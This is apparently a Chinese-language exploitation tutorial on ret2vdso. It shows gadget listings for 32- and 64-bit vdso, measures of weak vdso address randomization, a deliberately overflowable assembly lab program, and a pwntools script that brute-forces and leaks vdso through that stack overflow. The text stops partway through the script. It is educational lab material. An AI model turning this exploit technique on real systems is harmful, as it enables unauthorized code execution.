ret2vdso exploit

Ex / 2019-05-26 15:54:00 / 浏览数 5081

对ret2vdso总结了一下，附上了实验数据，ret2vdso更多的出现在32位的程序中。

实验文件都在附件中 。

前导知识

vdso

传统的int 0x80有点慢, Intel和AMD分别实现了sysenter/sysexit和syscall/ sysret, 即所谓的快速系统调用指令, 使用它们更快, 但是也带来了兼容性的问题. 于是Linux实现了vsyscall, 程序统一调用vsyscall, 具体的选择由内核来决定. 而vsyscall的实现就在VDSO中。

简单来说，可以把vdso看成一个.so动态库链接文件，但是不同的内核，vdso的内容也是不同的。

vdso_x64

先看看内置了什么函数：

```
ex@Ex:~/test$ objdump -T vdso_x64.so

vdso_x64.so:     file format elf64-x86-64

DYNAMIC SYMBOL TABLE:
0000000000000a30  w   DF .text    0000000000000305  LINUX_2.6   clock_gettime
0000000000000d40 g    DF .text    00000000000001c1  LINUX_2.6   __vdso_gettimeofday
0000000000000d40  w   DF .text    00000000000001c1  LINUX_2.6   gettimeofday
0000000000000f10 g    DF .text    0000000000000015  LINUX_2.6   __vdso_time
0000000000000f10  w   DF .text    0000000000000015  LINUX_2.6   time
0000000000000a30 g    DF .text    0000000000000305  LINUX_2.6   __vdso_clock_gettime
0000000000000000 g    DO *ABS*    0000000000000000  LINUX_2.6   LINUX_2.6
0000000000000f30 g    DF .text    000000000000002a  LINUX_2.6   __vdso_getcpu
0000000000000f30  w   DF .text    000000000000002a  LINUX_2.6   getcpu
```

再看看有什么可用的指令：

```
ex@Ex:~/test$ ROPgadget --binary vdso_x64.so
Gadgets information
============================================================
0x00000000000008b8 : adc byte ptr [r11], r8b ; add dh, byte ptr [rsi + 0x58] ; add cl, byte ptr [rsi + 0xa] ; ret
0x00000000000008b9 : adc byte ptr [rbx], al ; add dh, byte ptr [rsi + 0x58] ; add cl, byte ptr [rsi + 0xa] ; ret
0x000000000000098b : add bl, byte ptr [rbp - 0x3d] ; mov rax, rdx ; pop rbp ; ret
0x0000000000000a23 : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x0000000000000a25 : add byte ptr [rax], al ; pop rbp ; ret
0x00000000000008be : add cl, byte ptr [rsi + 0xa] ; ret
0x00000000000008bb : add dh, byte ptr [rsi + 0x58] ; add cl, byte ptr [rsi + 0xa] ; ret
0x0000000000000a18 : add eax, 0xffffc66b ; pop rbp ; ret
0x00000000000008ba : add eax, dword ptr [rdx] ; jbe 0x91d ; add cl, byte ptr [rsi + 0xa] ; ret
0x0000000000000c23 : add edx, eax ; jmp 0xbb4
0x0000000000000c22 : add r10, rax ; jmp 0xbb5
0x0000000000000d78 : and al, 0xf6 ; ret
0x0000000000000f52 : call 0x3106986a
0x0000000000000b26 : call 0xffffffffc9ff487c
0x0000000000000aab : clc ; ret
0x0000000000000d84 : cld ; ret 0xffff
0x0000000000000a16 : cmovae eax, dword ptr [rip - 0x3995] ; pop rbp ; ret
0x0000000000000a15 : cmovae rax, qword ptr [rip - 0x3995] ; pop rbp ; ret
0x0000000000000988 : cmp edx, eax ; ja 0x993 ; pop rbp ; ret
0x0000000000000987 : cmp rdx, rax ; ja 0x994 ; pop rbp ; ret
0x0000000000000986 : dec dword ptr [rax + 0x39] ; ret 0x277
0x0000000000000c1d : dec dword ptr [rax + 0xf] ; scasd eax, dword ptr [rdi] ; ret 0x149
0x0000000000000ec5 : dec dword ptr [rcx + 0x16158b16] ; ret 0xffff
0x0000000000000c1f : imul eax, edx ; add r10, rax ; jmp 0xbb8
0x0000000000000c1e : imul rax, rdx ; add r10, rax ; jmp 0xbb9
0x000000000000098a : ja 0x991 ; pop rbp ; ret
0x00000000000008bc : jbe 0x91b ; add cl, byte ptr [rsi + 0xa] ; ret
```

```
0x0000000000000f1e : je 0xf29 ; mov qword ptr [rdi], rax ; pop rbp ; ret
0x0000000000000fdf : jmp qword ptr [rdi]
0x0000000000000aa9 : lea esp, dword ptr [rdx - 8] ; ret
0x0000000000000aa8 : lea rsp, qword ptr [r10 - 8] ; ret
0x0000000000000a21 : mov dword ptr [rdi], 0 ; pop rbp ; ret
0x0000000000000f21 : mov dword ptr [rdi], eax ; pop rbp ; ret
0x0000000000000f54 : mov dword ptr [rsi], eax ; xor eax, eax ; pop rbp ; ret
0x000000000000098f : mov eax, edx ; pop rbp ; ret
0x0000000000000f1c : mov ebp, esp ; je 0xf2b ; mov qword ptr [rdi], rax ; pop rbp ; ret
0x0000000000000f20 : mov qword ptr [rdi], rax ; pop rbp ; ret
0x000000000000098e : mov rax, rdx ; pop rbp ; ret
0x0000000000000f1b : mov rbp, rsp ; je 0xf2c ; mov qword ptr [rdi], rax ; pop rbp ; ret
0x0000000000000aa3 : pop r13 ; pop r14 ; pop rbp ; lea rsp, qword ptr [r10 - 8] ; ret
0x0000000000000aa5 : pop r14 ; pop rbp ; lea rsp, qword ptr [r10 - 8] ; ret
0x00000000000008bd : pop rax ; add cl, byte ptr [rsi + 0xa] ; ret
0x0000000000000aa7 : pop rbp ; lea rsp, qword ptr [r10 - 8] ; ret
0x0000000000000aa4 : pop rbp ; pop r14 ; pop rbp ; lea rsp, qword ptr [r10 - 8] ; ret
0x000000000000098c : pop rbp ; ret
0x0000000000000aa6 : pop rsi ; pop rbp ; lea rsp, qword ptr [r10 - 8] ; ret
0x0000000000000f3f : push qword ptr [rdx + rcx - 0x77] ; ret 0xe281
0x00000000000008c1 : ret
0x0000000000000c21 : ret 0x149
0x0000000000000989 : ret 0x277
0x0000000000000b3c : ret 0x4801
0x0000000000000e64 : ret 0x53e9
0x0000000000000c24 : ret 0x8ceb
0x0000000000000c4e : ret 0xc2e9
0x0000000000000f43 : ret 0xe281
0x0000000000000d85 : ret 0xffff
0x0000000000000a20 : rol bh, 7 ; add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x000000000000090f : ror dword ptr [rdx], 1 ; ret
0x0000000000000c20 : scasd eax, dword ptr [rdi] ; ret 0x149
0x0000000000000f51 : shr eax, 0xc ; mov dword ptr [rsi], eax ; xor eax, eax ; pop rbp ; ret
0x0000000000000a1f : xor eax, eax ; mov dword ptr [rdi], 0 ; pop rbp ; ret
0x0000000000000f56 : xor eax, eax ; pop rbp ; ret

Unique gadgets found: 62
ex@Ex:~/test$
```

总共62条，总体来说，可以利用的指令还是很少的。

vdso_x86

但是32位的话，就截然不同了。

```
ex@Ex:~/test$ objdump -T vdso_x86.so

vdso_x86.so:     file format elf32-i386

DYNAMIC SYMBOL TABLE:
00001050 g    DF .text    0000000d  LINUX_2.5   __kernel_vsyscall
00000d50 g    DF .text    000002b2  LINUX_2.6   __vdso_gettimeofday
00001070 g    DF .text    00000009  LINUX_2.5   __kernel_sigreturn
00001010 g    DF .text    00000028  LINUX_2.6   __vdso_time
00000000 g    DO *ABS*    00000000  LINUX_2.5   LINUX_2.5
00001080 g    DF .text    00000008  LINUX_2.5   __kernel_rt_sigreturn
00000820 g    DF .text    0000052f  LINUX_2.6   __vdso_clock_gettime
00000000 g    DO *ABS*    00000000  LINUX_2.6   LINUX_2.6
```

有现成的__kernel_rt_sigreturn调用可以用来SROP。

再来看看其指令：

```
ex@Ex:~/test$ ROPgadget --binary vdso_x86.so
Gadgets information
============================================================
0x00000817 : adc al, 0x31 ; rcr byte ptr [ebx + 0x5e], 0x5f ; pop ebp ; ret
0x000007e4 : adc al, 0x5b ; pop esi ; pop edi ; pop ebp ; ret
0x00000619 : adc byte ptr [ebp + 0xec54704], al ; or al, 0x41 ; ret 0x80e
0x00001039 : add al, 0x24 ; ret
```

```
0x0000061b : add al, 0x47 ; lds ecx, ptr [esi] ; or al, 0x41 ; ret 0x80e
0x0000107f : add byte ptr [eax + 0xad], bh ; int 0x80
0x0000107d : add byte ptr [eax], al ; add byte ptr [eax + 0xad], bh ; int 0x80
0x0000107c : add byte ptr [eax], al ; add byte ptr [eax], al ; mov eax, 0xad ; int 0x80
0x00000e3f : add byte ptr [eax], al ; add esp, 0x5c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x00001074 : add byte ptr [eax], al ; int 0x80
0x0000107e : add byte ptr [eax], al ; mov eax, 0xad ; int 0x80
0x00000e40 : add byte ptr [ebx + 0x5e5b5cc4], al ; pop edi ; pop ebp ; ret
0x000010ab : add byte ptr [ebx], al ; add eax, dword ptr [ebx] ; ret
0x00001032 : add cl, byte ptr [ecx - 0x3ca2a4f6] ; mov eax, dword ptr [esp] ; ret
0x000010ad : add eax, dword ptr [ebx] ; ret
0x000007e2 : add esp, 0x14 ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x00000815 : add esp, 0x14 ; xor eax, eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x00000e41 : add esp, 0x5c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x00000967 : add esp, 0x6c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0000087c : add esp, 0x6c ; xor eax, eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0000103e : and al, 0xc3 ; mov ebx, dword ptr [esp] ; ret
0x0000103a : and al, 0xc3 ; mov ecx, dword ptr [esp] ; ret
0x00001042 : and al, 0xc3 ; mov edi, dword ptr [esp] ; ret
0x00000801 : and byte ptr [edi], cl ; inc ebp ; ret 0x450f
0x0000073c : call 0x1046
0x00001141 : call 0x340ff6d2
0x000007d5 : call dword ptr [ecx]
0x000007f0 : cli ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x00001045 : cmp al, 0x24 ; ret
0x0000071f : cmp esi, eax ; ja 0x71e ; pop esi ; pop edi ; pop ebp ; ret
0x000007cf : dec dword ptr [ebx - 0x32c37d] ; call dword ptr [ecx]
0x00001030 : enter 0x274, -0x77 ; or bl, byte ptr [ebx + 0x5d] ; ret
0x00000974 : fmul qword ptr [ebx - 0x32cb61] ; push esi ; ret
0x00000722 : hlt ; pop esi ; pop edi ; pop ebp ; ret
0x00001143 : in eax, 0xf ; xor al, 0x89 ; int 0xf
0x00001054 : in eax, 0xf ; xor al, 0xcd ; sbb byte ptr [ebp + 0x5a], 0x59 ; ret
0x00000973 : inc ebp ; fmul qword ptr [ebx - 0x32cb61] ; push esi ; ret
0x00000803 : inc ebp ; ret 0x450f
0x00000620 : inc ecx ; ret 0x80e
0x0000061c : inc edi ; lds ecx, ptr [esi] ; or al, 0x41 ; ret 0x80e
0x00000969 : insb byte ptr es:[edi], dx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0000087e : insb byte ptr es:[edi], dx ; xor eax, eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x00001057 : int 0x80
0x00001147 : int 0xf
0x00001072 : ja 0x1078 ; add byte ptr [eax], al ; int 0x80
0x00000721 : ja 0x71c ; pop esi ; pop edi ; pop ebp ; ret
0x000007e0 : jb 0x7f3 ; add esp, 0x14 ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x00000715 : jbe 0x728 ; mov eax, esi ; mov edx, ecx ; pop esi ; pop edi ; pop ebp ; ret
0x00001031 : je 0x103b ; mov dword ptr [edx], ecx ; pop ebx ; pop ebp ; ret
0x0000061d : lds ecx, ptr [esi] ; or al, 0x41 ; ret 0x80e
0x00000968 : les ebp, ptr [ebx + ebx*2 + 0x5e] ; pop edi ; pop ebp ; ret
0x0000087d : les ebp, ptr [ecx + esi - 0x40] ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x00000e42 : les ebx, ptr [ebx + ebx*2 + 0x5e] ; pop edi ; pop ebp ; ret
0x000007e3 : les edx, ptr [ebx + ebx*2] ; pop esi ; pop edi ; pop ebp ; ret
0x00000816 : les edx, ptr [ecx + esi] ; rcr byte ptr [ebx + 0x5e], 0x5f ; pop ebp ; ret
0x0000113f : lfence ; mov ebp, esp ; sysenter
0x0000113c : mfence ; lfence ; mov ebp, esp ; sysenter
0x00001033 : mov dword ptr [edx], ecx ; pop ebx ; pop ebp ; ret
0x00001071 : mov eax, 0x77 ; int 0x80
0x00001080 : mov eax, 0xad ; int 0x80
0x00001038 : mov eax, dword ptr [esp] ; ret
0x0000102f : mov eax, ecx ; je 0x103d ; mov dword ptr [edx], ecx ; pop ebx ; pop ebp ; ret
0x00000717 : mov eax, esi ; mov edx, ecx ; pop esi ; pop edi ; pop ebp ; ret
0x000007ed : mov eax, esi ; mov edx, edi ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x00001053 : mov ebp, esp ; sysenter
0x00001040 : mov ebx, dword ptr [esp] ; ret
0x00000965 : mov ebx, edx ; add esp, 0x6c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0000103c : mov ecx, dword ptr [esp] ; ret
0x00001044 : mov edi, dword ptr [esp] ; ret
0x00000719 : mov edx, ecx ; pop esi ; pop edi ; pop ebp ; ret
0x000007ef : mov edx, edi ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x00000792 : movsd dword ptr es:[edi], dword ptr [esi] ; ret 0xf631
0x0000104c : nop ; nop ; nop ; nop ; push ecx ; push edx ; push ebp ; mov ebp, esp ; sysenter
```

```
0x0000106d : nop ; nop ; nop ; pop eax ; mov eax, 0x77 ; int 0x80
0x0000104d : nop ; nop ; nop ; push ecx ; push edx ; push ebp ; mov ebp, esp ; sysenter
0x0000106e : nop ; nop ; pop eax ; mov eax, 0x77 ; int 0x80
0x0000104e : nop ; nop ; push ecx ; push edx ; push ebp ; mov ebp, esp ; sysenter
0x0000106f : nop ; pop eax ; mov eax, 0x77 ; int 0x80
0x0000104f : nop ; push ecx ; push edx ; push ebp ; mov ebp, esp ; sysenter
0x0000103d : or al, 0x24 ; ret
0x0000061f : or al, 0x41 ; ret 0x80e
0x00001034 : or bl, byte ptr [ebx + 0x5d] ; ret
0x000007e1 : or byte ptr [ebx + 0x5e5b14c4], al ; pop edi ; pop ebp ; ret
0x00000716 : or byte ptr [ecx + 0x5eca89f0], cl ; pop edi ; pop ebp ; ret
0x00001070 : pop eax ; mov eax, 0x77 ; int 0x80
0x00001059 : pop ebp ; pop edx ; pop ecx ; ret
0x0000071d : pop ebp ; ret
0x00001035 : pop ebx ; pop ebp ; ret
0x000007e5 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0000105b : pop ecx ; ret
0x0000071c : pop edi ; pop ebp ; ret
0x0000105a : pop edx ; pop ecx ; ret
0x0000071b : pop esi ; pop edi ; pop ebp ; ret
0x00000e43 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x00000618 : push cs ; adc byte ptr [ebp + 0xec54704], al ; or al, 0x41 ; ret 0x80e
0x0000061e : push cs ; or al, 0x41 ; ret 0x80e
0x00001052 : push ebp ; mov ebp, esp ; sysenter
0x0000073b : push ebx ; call 0x1047
0x00001050 : push ecx ; push edx ; push ebp ; mov ebp, esp ; sysenter
0x00000739 : push edi ; push esi ; push ebx ; call 0x1049
0x00001051 : push edx ; push ebp ; mov ebp, esp ; sysenter
0x0000073a : push esi ; push ebx ; call 0x1048
0x000008c2 : push esi ; ret
0x00000819 : rcr byte ptr [ebx + 0x5e], 0x5f ; pop ebp ; ret
0x0000071e : ret
0x00000804 : ret 0x450f
0x000007b4 : ret 0x458b
0x00000b77 : ret 0x5d8b
0x00000ecf : ret 0x7d8b
0x00000621 : ret 0x80e
0x00000793 : ret 0xf631
0x000008c8 : ret 2
0x00000966 : rol dword ptr [ebx + 0x5e5b6cc4], cl ; pop edi ; pop ebp ; ret
0x0000102e : ror byte ptr [ecx - 0x76fd8b38], cl ; or bl, byte ptr [ebx + 0x5d] ; ret
0x00001041 : sbb al, 0x24 ; ret
0x00001058 : sbb byte ptr [ebp + 0x5a], 0x59 ; ret
0x00001140 : scasb al, byte ptr es:[edi] ; call 0x340ff6d3
0x00000926 : shl dword ptr [eax], 0xf ; inc ebp ; ret 0x450f
0x00001055 : sysenter
0x0000061a : test dword ptr [edi + eax*2], eax ; lds ecx, ptr [esi] ; or al, 0x41 ; ret 0x80e
0x00001145 : xor al, 0x89 ; int 0xf
0x00001056 : xor al, 0xcd ; sbb byte ptr [ebp + 0x5a], 0x59 ; ret
0x00000818 : xor eax, eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret

Unique gadgets found: 123
```

这里有123条，相比64为位的还是很多。

注意：不同内核，vdso会有差异。

利用思路

因为不同内核，vdso会有差异，所以如果我们能把vdso给读出来的，就能够直接进行利用。

vdso的随机化特点

相比于栈和其他的ASLR，vdso的随机化非常的弱，对于32的系统来说，有1/256的概率命中，这正好可以作为我们的利用点。

vdso的地址存放：

```
pwndbg> stack
78:01e0■   0xffffcf20 —■ 0xf7fd5050 (__kernel_vsyscall) ■— push   ecx
79:01e4■   0xffffcf24 ■— 0x21 /* '!' */
```

```
7a:01e8■   0xffffcf28 —■ 0xf7fd4000 ■— jg     0xf7fd4047
7b:01ec■   0xffffcf2c ■— 0x10
7c:01f0■   0xffffcf30 ■— 0xbfebfbff
7d:01f4■   0xffffcf34 ■— 0x6
7e:01f8■   0xffffcf38 ■— 0x1000
7f:01fc■   0xffffcf3c ■— 0x11
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x56555000 0x56556000 r-xp     1000 0      /home/ex/test/vdso_addr
0x56556000 0x56557000 r--p     1000 0      /home/ex/test/vdso_addr
0x56557000 0x56558000 rw-p     1000 1000   /home/ex/test/vdso_addr
0xf7dd6000 0xf7fab000 r-xp   1d5000 0      /lib/i386-linux-gnu/libc-2.27.so
0xf7fab000 0xf7fac000 ---p     1000 1d5000 /lib/i386-linux-gnu/libc-2.27.so
0xf7fac000 0xf7fae000 r--p     2000 1d5000 /lib/i386-linux-gnu/libc-2.27.so
0xf7fae000 0xf7faf000 rw-p     1000 1d7000 /lib/i386-linux-gnu/libc-2.27.so
0xf7faf000 0xf7fb2000 rw-p     3000 0
0xf7fcf000 0xf7fd1000 rw-p     2000 0
0xf7fd1000 0xf7fd4000 r--p     3000 0      [vvar]
0xf7fd4000 0xf7fd6000 r-xp     2000 0      [vdso]
0xf7fd6000 0xf7ffc000 r-xp    26000 0      /lib/i386-linux-gnu/ld-2.27.so
0xf7ffc000 0xf7ffd000 r--p     1000 25000  /lib/i386-linux-gnu/ld-2.27.so
0xf7ffd000 0xf7ffe000 rw-p     1000 26000  /lib/i386-linux-gnu/ld-2.27.so
0xfffdc000 0xffffe000 rw-p    22000 0      [stack]
```

从上可以看出，栈上有一个地址是用来存放vdso的基地址的，但是这个地址的偏移总是汇编，所以我临时写了下面的代码进行打印查看。

```
// compiled: gcc -g -m32 vdso_addr.c -o vdso_addr
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
   printf("vdso addr: %124$p\n");
   return 0;
}
```

注意偏移值会改变

然后用下面的脚本来查看结果：

```
#!/usr/bin/python
# -*- coding:utf-8 -*-

import os

result = []
for i in range(100):
   result += [os.popen('./vdso_addr').read()[:-1]]

result = sorted(result)

for v in result:
   print (v)
```

在比较新的内核的运行结果如下：

```
ex@Ex:~/test$ python vdso_addr.py
vdso addr: 0xf7ed6000
vdso addr: 0xf7ed8000
vdso addr: 0xf7eda000
vdso addr: 0xf7edd000
vdso addr: 0xf7ee6000
vdso addr: 0xf7ee6000
vdso addr: 0xf7ee9000
vdso addr: 0xf7ee9000
vdso addr: 0xf7eee000
vdso addr: 0xf7eef000
vdso addr: 0xf7ef3000
vdso addr: 0xf7ef7000
```

```
vdso addr: 0xf7ef9000
vdso addr: 0xf7efa000
vdso addr: 0xf7efa000
vdso addr: 0xf7efb000
vdso addr: 0xf7efd000
vdso addr: 0xf7efe000
vdso addr: 0xf7f0e000
vdso addr: 0xf7f14000
vdso addr: 0xf7f1f000
vdso addr: 0xf7f21000
vdso addr: 0xf7f24000
vdso addr: 0xf7f25000
vdso addr: 0xf7f26000
vdso addr: 0xf7f2a000
vdso addr: 0xf7f2a000
vdso addr: 0xf7f2b000
vdso addr: 0xf7f34000
vdso addr: 0xf7f36000
vdso addr: 0xf7f39000
vdso addr: 0xf7f3b000
vdso addr: 0xf7f41000
vdso addr: 0xf7f47000
vdso addr: 0xf7f48000
vdso addr: 0xf7f48000
vdso addr: 0xf7f49000
vdso addr: 0xf7f49000
vdso addr: 0xf7f4a000
vdso addr: 0xf7f4b000
vdso addr: 0xf7f4d000
vdso addr: 0xf7f4e000
vdso addr: 0xf7f4e000
vdso addr: 0xf7f4f000
vdso addr: 0xf7f50000
vdso addr: 0xf7f52000
vdso addr: 0xf7f52000
vdso addr: 0xf7f53000
vdso addr: 0xf7f57000
vdso addr: 0xf7f58000
vdso addr: 0xf7f59000
vdso addr: 0xf7f5a000
vdso addr: 0xf7f5f000
vdso addr: 0xf7f5f000
vdso addr: 0xf7f60000
vdso addr: 0xf7f64000
vdso addr: 0xf7f68000
vdso addr: 0xf7f6c000
vdso addr: 0xf7f70000
vdso addr: 0xf7f72000
vdso addr: 0xf7f73000
vdso addr: 0xf7f75000
vdso addr: 0xf7f7e000
vdso addr: 0xf7f7f000
vdso addr: 0xf7f7f000
vdso addr: 0xf7f80000
vdso addr: 0xf7f88000
vdso addr: 0xf7f88000
vdso addr: 0xf7f8d000
vdso addr: 0xf7f94000
vdso addr: 0xf7f95000
vdso addr: 0xf7f95000
vdso addr: 0xf7f99000
vdso addr: 0xf7f99000
vdso addr: 0xf7f9d000
vdso addr: 0xf7f9e000
vdso addr: 0xf7fa0000
vdso addr: 0xf7fa0000
vdso addr: 0xf7fa2000
vdso addr: 0xf7fa2000
vdso addr: 0xf7fa6000
```

```
vdso addr: 0xf7faa000
vdso addr: 0xf7fac000
vdso addr: 0xf7fac000
vdso addr: 0xf7faf000
vdso addr: 0xf7fb1000
vdso addr: 0xf7fb4000
vdso addr: 0xf7fb5000
vdso addr: 0xf7fb6000
vdso addr: 0xf7fbe000
vdso addr: 0xf7fc0000
vdso addr: 0xf7fc4000
vdso addr: 0xf7fc6000
vdso addr: 0xf7fc7000
vdso addr: 0xf7fcb000
vdso addr: 0xf7fce000
vdso addr: 0xf7fce000
vdso addr: 0xf7fce000
vdso addr: 0xf7fcf000
vdso addr: 0xf7fd0000
```

可以看到结果在`0xf7ed0000-0xf7fd0000`之间。

然后在旧的内核版本的运行效果如下：

```
ex@ubuntu:~/test$ python3 vdso_addr.py
vdso addr: 0xf76d9000
vdso addr: 0xf76dd000
vdso addr: 0xf76de000
vdso addr: 0xf76df000
vdso addr: 0xf76e0000
vdso addr: 0xf76e2000
vdso addr: 0xf76e3000
vdso addr: 0xf76e4000
vdso addr: 0xf76ee000
vdso addr: 0xf76ef000
vdso addr: 0xf76f3000
vdso addr: 0xf76f5000
vdso addr: 0xf7702000
vdso addr: 0xf7703000
vdso addr: 0xf7707000
vdso addr: 0xf7709000
vdso addr: 0xf770a000
vdso addr: 0xf770d000
vdso addr: 0xf7710000
vdso addr: 0xf7714000
vdso addr: 0xf7716000
vdso addr: 0xf7717000
vdso addr: 0xf7718000
vdso addr: 0xf7718000
vdso addr: 0xf771a000
vdso addr: 0xf771a000
vdso addr: 0xf771b000
vdso addr: 0xf771e000
vdso addr: 0xf771f000
vdso addr: 0xf771f000
vdso addr: 0xf7720000
vdso addr: 0xf7721000
vdso addr: 0xf7721000
vdso addr: 0xf772b000
vdso addr: 0xf772c000
vdso addr: 0xf772d000
vdso addr: 0xf7733000
vdso addr: 0xf7734000
vdso addr: 0xf7735000
vdso addr: 0xf7736000
vdso addr: 0xf773b000
vdso addr: 0xf773b000
vdso addr: 0xf773b000
vdso addr: 0xf773e000
vdso addr: 0xf773e000
```

```
vdso addr: 0xf7745000
vdso addr: 0xf7745000
vdso addr: 0xf7746000
vdso addr: 0xf7746000
vdso addr: 0xf7747000
vdso addr: 0xf7749000
vdso addr: 0xf774b000
vdso addr: 0xf774d000
vdso addr: 0xf774d000
vdso addr: 0xf7758000
vdso addr: 0xf7759000
vdso addr: 0xf7761000
vdso addr: 0xf7762000
vdso addr: 0xf7764000
vdso addr: 0xf7765000
vdso addr: 0xf776d000
vdso addr: 0xf7770000
vdso addr: 0xf7774000
vdso addr: 0xf777b000
vdso addr: 0xf777c000
vdso addr: 0xf777e000
vdso addr: 0xf777f000
vdso addr: 0xf777f000
vdso addr: 0xf7780000
vdso addr: 0xf7783000
vdso addr: 0xf7784000
vdso addr: 0xf7787000
vdso addr: 0xf7789000
vdso addr: 0xf778b000
vdso addr: 0xf778e000
vdso addr: 0xf7797000
vdso addr: 0xf7798000
vdso addr: 0xf779a000
vdso addr: 0xf779b000
vdso addr: 0xf779d000
vdso addr: 0xf779f000
vdso addr: 0xf77a0000
vdso addr: 0xf77a0000
vdso addr: 0xf77a3000
vdso addr: 0xf77a8000
vdso addr: 0xf77ad000
vdso addr: 0xf77b5000
vdso addr: 0xf77b9000
vdso addr: 0xf77ba000
vdso addr: 0xf77ba000
vdso addr: 0xf77bb000
vdso addr: 0xf77bf000
vdso addr: 0xf77c2000
vdso addr: 0xf77c2000
vdso addr: 0xf77c2000
vdso addr: 0xf77c3000
vdso addr: 0xf77c6000
vdso addr: 0xf77c6000
vdso addr: 0xf77cc000
vdso addr: 0xf77ce000
```

可以看到结果在`0xf76d9000-0xf77ce000`之间。

其他情况可以自行测量。

exploit 思路

1. 泄露出vdso
2. 利用vdso进行ROP

举例

我用下来这段汇编代码来举例：

ret2vdso.s

```
push ebp
mov    ebp, esp
sub    esp, 128
lea    eax, buf
push 4096
push eax
push 0
mov    eax, 0
call    read
add esp, 12

mov esi, eax

push esi
lea eax, buf
push eax
lea eax, -128[ebp]
push eax
call memcpy
add esp, 12

lea eax, -128[ebp]
push esi
push eax
push 1
mov    eax, 0
call    write
add esp, 12

mov    eax, 0
mov esp, ebp
pop ebp
ret
```

反汇编出来结果如下：

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
 size_t size; // esi
 char addr[128]; // [esp+0h] [ebp-80h]

 size = read(0, buf, 0x1000u);
 memcpy(addr, buf, size);
 write(1, addr, size);
 return 0;
}
```

可以看出，我预留了一个明显的栈溢出，但是这个程序是个手写汇编的程序。你没有办法依赖glibc。

```
ex@Ex:~/test$ ldd ret2vdso
   not a dynamic executable
```

而且基本没有可用的ROP指令：

```
ex@Ex:~/test$ ROPgadget --binary ret2vdso
Gadgets information
============================================================
0x080480b2 : adc byte ptr [eax + 3], bh ; int 0x80
0x080480c9 : adc byte ptr [eax + 4], bh ; int 0x80
0x08048102 : adc byte ptr [edi - 0x21], dh ; leave ; ret
0x080480cb : add al, 0 ; add byte ptr [eax], al ; int 0x80
0x08048156 : add byte ptr [eax], al ; add byte ptr [eax], al ; mov esp, ebp ; pop ebp ; ret
0x080480a3 : add byte ptr [eax], al ; int 0x80
0x0804809c : add byte ptr [eax], al ; mov ebx, eax ; mov eax, 1 ; int 0x80
0x08048158 : add byte ptr [eax], al ; mov esp, ebp ; pop ebp ; ret
0x0804809d : add byte ptr [ecx + 0x1b8c3], cl ; add byte ptr [eax], al ; int 0x80
0x080480a1 : add dword ptr [eax], eax ; add byte ptr [eax], al ; int 0x80
0x080480b4 : add eax, dword ptr [eax] ; add byte ptr [eax], al ; int 0x80
```

```
0x080480ff : cld ; cmp dword ptr [ebp + 0x10], eax ; ja 0x80480eb ; leave ; ret
0x08048100 : cmp dword ptr [ebp + 0x10], eax ; ja 0x80480ea ; leave ; ret
0x08048104 : fxch st(0), st(1) ; ret
0x080480bb : in al, dx ; pop ebp ; ret
0x08048101 : inc ebp ; adc byte ptr [edi - 0x21], dh ; leave ; ret
0x080480fe : inc ebp ; cld ; cmp dword ptr [ebp + 0x10], eax ; ja 0x80480ec ; leave ; ret
0x080480a5 : int 0x80
0x08048103 : ja 0x80480e7 ; leave ; ret
0x08048105 : leave ; ret
0x08048155 : mov eax, 0 ; mov esp, ebp ; pop ebp ; ret
0x080480a0 : mov eax, 1 ; int 0x80
0x080480b3 : mov eax, 3 ; int 0x80
0x080480ca : mov eax, 4 ; int 0x80
0x080480fd : mov eax, dword ptr [ebp - 4] ; cmp dword ptr [ebp + 0x10], eax ; ja 0x80480ed ; leave ; ret
0x0804809e : mov ebx, eax ; mov eax, 1 ; int 0x80
0x080480b0 : mov edx, dword ptr [ebp + 0x10] ; mov eax, 3 ; int 0x80
0x080480c7 : mov edx, dword ptr [ebp + 0x10] ; mov eax, 4 ; int 0x80
0x080480ba : mov esp, ebp ; pop ebp ; ret
0x080480af : or al, 0x8b ; push ebp ; adc byte ptr [eax + 3], bh ; int 0x80
0x080480c6 : or al, 0x8b ; push ebp ; adc byte ptr [eax + 4], bh ; int 0x80
0x08048154 : or al, 0xb8 ; add byte ptr [eax], al ; add byte ptr [eax], al ; mov esp, ebp ; pop ebp ; ret
0x080480bc : pop ebp ; ret
0x080480b1 : push ebp ; adc byte ptr [eax + 3], bh ; int 0x80
0x080480c8 : push ebp ; adc byte ptr [eax + 4], bh ; int 0x80
0x0804809f : ret

Unique gadgets found: 36
```

这时候，不妨试试用write函数把vdso给读出来。

读取vdso

```
#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import random
import struct
import os
import binascii
import sys
import time

context(arch='i386', os='linux')

# context.log_level = 'debug'
elf = ELF("./ret2vdso")

RANGE_VDSO  = range(0xf7ed0000, 0xf7fd0000, 0x1000)
# RANGE_VDSO  = range(0xf76d9000, 0xf77ce000, 0x1000)

while(True):
   try:
       sh = process("./ret2vdso")

       vdso_addr = random.choice(RANGE_VDSO)

       sh.send('a' * 132 +
               p32(elf.symbols['write']) +
               p32(0) +
               p32(1) + # fd
               p32(vdso_addr) + # buf
               p32(0x2000) # count
               )

       sh.recvuntil(p32(0x2000))

       result = sh.recvall(0.1)
       if(len(result) != 0):
```

```
            open('vdso.so', 'wb').write(result)
            sh.close()
            log.success("Success")
            exit(0)

        sh.close()
